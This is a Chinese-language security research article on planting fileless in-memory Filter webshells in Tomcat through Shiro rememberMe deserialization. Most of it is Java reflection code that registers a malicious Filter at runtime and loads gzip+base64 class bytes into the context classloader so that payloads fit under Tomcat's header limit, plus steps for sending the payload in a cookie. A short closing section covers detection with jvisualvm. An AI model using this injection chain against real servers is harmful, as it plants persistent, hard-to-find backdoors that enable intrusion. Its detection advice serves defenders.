tomcat结合shiro无文件webshell的技术研究以及检测方法
0x01简介
shiro结合tomcat回显,使用公开的方法,回显大多都会报错。因为生成的payload过大,而tomcat在默认情况下,接收的最大http头部大小为8192。如果超过这个大小,则tomcat会返回400错误。而某些版本tomcat可以通过payload修改maxHttpHeaderSize,而某些又不可以。所以我们要想办法解决这个很麻烦,并顺便实现tomcat的内存马,用来持久化shell。
我的测试环境如下:
- tomcat 7.0.104
- idea
- shiro
环境安装配置就不在这里详细描述,该分享主要围绕着以下主题分享:
- Filter介绍
- 类加载器的相关知识点
- tomcat的内存马该如何查杀
0x02 Filter
1. Filter的基本工作原理
-
Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
-
当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
-
当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
-
但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
-
只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
-
如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
2. Filter 链
- 在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。如果有多个 Filter 程序都可以对某个 Servlet 程序的访问过程进行拦截,当针对该 Servlet 的访问请求到达时,Web 容器将把这多个 Filter 程序组合成一个 Filter 链(也叫过滤器链)。
- Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,上一个 Filter.doFilter 方法中调用 FilterChain.doFilter 方法将激活下一个 Filter的doFilter 方法,最后一个 Filter.doFilter 方法中调用的 FilterChain.doFilter 方法将激活目标 Servlet的service 方法。
- 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法都不会被执行。
3. Tomcat中请求Filter的流程
用户在请求tomcat的资源的时候,会调用ApplicationFilterFactory的createFilterChain方法,根据web.xml的Filter配置,去生成Filter链。主要代码如下
filterChain.setServlet(servlet);
filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
boolean isCometFilter;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
isCometFilter = false;
if (comet) {
try {
isCometFilter = filterConfig.getFilter() instanceof CometFilter;
} catch (Exception var21) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
ExceptionUtils.handleThrowable(t);
}
if (isCometFilter) {
filterChain.addFilter(filterConfig);
}
} else {
filterChain.addFilter(filterConfig);
}
}
}
}
首先获取当前context,并从context中获取FilterMap。FIlterMap的数据结构如下
我们可以看到,FilterMap存放了Filter的名称和需要拦截的url的正则表达式。
继续往下分析代码,遍历FilterMap中每一项,调用matchFiltersURL这个函数,去确定请求的url和Filter中需要拦截的正则表达式是否匹配。
如果匹配的话,则通过context.findFilterConfig方法去查找filter对应的名称。filterConfig的数据结构如下
随后将filterConfig添加到Filter.chain中。
下面我们看一下ApplicationFilterChain.internalDoFilter方法,简化后的代码如下
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
Filter filter = null;
filter = filterConfig.getFilter();
this.support.fireInstanceEvent("beforeFilter", filter, request, response);
filter.doFilter(request, response, this);
this.support.fireInstanceEvent("afterFilter", filter, request, response);
在这里我们可以很清楚的看到,从刚才的FilterChain中,遍历每一项FilterConfig,然后获取FIlterConfig对应的filter,最后调用我们熟悉的filter.doFilter方法。
可以用如下流程图来方便我们理解这个过程
可以看出,如果需要动态注册一个Filter,结合上面的分析,我们可以发现,只要修改context相关字段,即可完成动态注册一个Filter。好消息是,context已经帮我们实现了相关方法,我们就没有必要去通过反射等手段去修改。
4. tomcat实现
4.1 获取context
可以通过MBean的方式去获取当前context,我们查看一下tomcat的MBean
idea中查看一下
相关代码如下
Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples_web_war,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context
当然,还有很多种办法,这里只是一个例子
4.2 添加filterdef到context
首先我们实例化一个FilterDef,FilterDef的作用主要为描述filter名称与Filter实例的关系。注意,在后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef
Object filterDef = Class.forName("FilterDef").newInstance();
// 设置过滤器名称
Method filterDefsetFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
filterDefsetFilterName.invoke(filterDef, "test");
// 实例化Filter,也就是第一阶段我们加载的那个filter,通过Class.forname查找
Method filterDefsetFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);
//通过class.forname查找我们待加载的Filter,后面调用newInstance实例化
Class evilFilterClass = Class.forName("testFilter1");
filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());
4.3 添加filtermap到context
FilterMap的作用建立filter的url拦截与FilterDef的关系。在这里我们需要设置加载的filter都拦截什么url。代码如下
Object filterMap = Class.forName("FilterMap").newInstance();
Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
filterMapaddURLPattern.invoke(filterMap, "/*");
// 设置filter的名字为test
Method filterMapsetFilterName = Class.forName("FilterMap").getMethod("setFilterName", String.class);
filterMapsetFilterName.invoke(filterMap, "test");
4.4 添加ApplicationFilterConfig至context
这里很简单,最后我们需要添加ApplicationFIlterConfig就可以了,代码如下
Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
Constructor<?>[] filterConfigCon =
Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
filterConfigs.put("test", filterConfigCon[0].newInstance(context, filterDef));
0x02 类加载器的相关知识点
在上一步种,我们是无法成功的,因为payload过大,超过tomcat的限制。会导致tomcat报400 bad request错误。我们仔细分析可知,因为payload种需要加载Filter的class bytes。这一部分最小最小还需要3000多。所以我们需要将Filter的class byte,想办法加载至系统中。可以缩小我们动态加载Filter的payload大小。
1.1 class.forname
在这里我们先学习以下class.forname
这个方法,查看openjdk的相关源码
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374
class.forname
会获取调用方的classloader,然后调用forName0
,从调用方的classloader中查找类。当然,这是一个native方法,精简后源码如下
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104
Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
jboolean initialize, jobject loader, jclass caller)
{
char *clname;
jclass cls = 0;
clname = classname;
cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
return cls;
}
JVM_FindClassFromClassler
的代码在如下位置
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
jboolean init, jobject loader,
jclass caller))
JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");
TempNewSymbol h_name =
SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
CHECK_NULL);
oop loader_oop = JNIHandles::resolve(loader);
oop from_class = JNIHandles::resolve(caller);
oop protection_domain = NULL;
if (from_class != NULL && loader_oop != NULL) {
protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
}
Handle h_loader(THREAD, loader_oop);
Handle h_prot(THREAD, protection_domain);
jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
h_prot, false, THREAD);
return result;
JVM_END
主要是获取protectDomain等相关信息。然后调用find_class_from_class_loader
,代码如下
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
Handle loader, Handle protection_domain,
jboolean throwError, TRAPS) {
Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);
// Check if we should initialize the class
if (init && klass->is_instance_klass()) {
klass->initialize(CHECK_NULL);
}
return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}
在SystemDictionary::resolve_or_fail
会判断查找的类是不是属于数组,对于咱们来讲,肯定不是数组,所以,我们主要来分析systemDictionary::resolve_instance_class_or_null
代码如下
class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
ClassLoaderData* loader_data = register_loader(class_loader);
Dictionary* dictionary = loader_data->dictionary();
unsigned int d_hash = dictionary->compute_hash(name);
{
InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
if (probe != NULL) return probe;
}
最终通过dictionary->find
方法去查找类,看代码,其实也就是查找classloader的classes字段。
idea中查看这个字段。可以看出这里存储了很多类的Class,我们只需要将defineClass的结果,添加到classloader的classes字段中即可。
1.2 实现
将class bytes使用gzip+base64压缩编码,代码如下
payload中,我们寻找当前classloader,调用defineclass,将类字节码转换成一个类,代码如下
这一步会用到大量的反射
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "base64+gzip编码后的类";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
加载完成后,将evilClass加载到classloader的classes字段中,这步通过反射完成
Field currentCladdloaderClasses = Thread.currentThread().getContextClassLoader().getClass().getDeclaredField("classes");
Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
classes.add(0, evilClass);
0x03 成果检验
首先我们将自己写的Filter,加载到classloader
中Filter
的代码如下
运行我们的工具,生成payload
通过burp发送出去
下一步动态注册一个Filter,
我们可以看出,这两步生成的payload大小都没有超过tomcat的maxHttpHeaderSize
。将生成的remember复制到cookies即可执行,结果如下
0x04 Filter类型的内存马查杀
- 打开jvisualvm,因为我们是访问本地java进程,所以tomcat不需要配置jmx访问
- jvisualvm安装MBean插件
3. 点击我们的tomcat,查看Catalina/Filter
节点中的数据,检查是否存在我们不认识的,或者没有在web.xml中配置的filter,或者filterClass为空的Filter,如图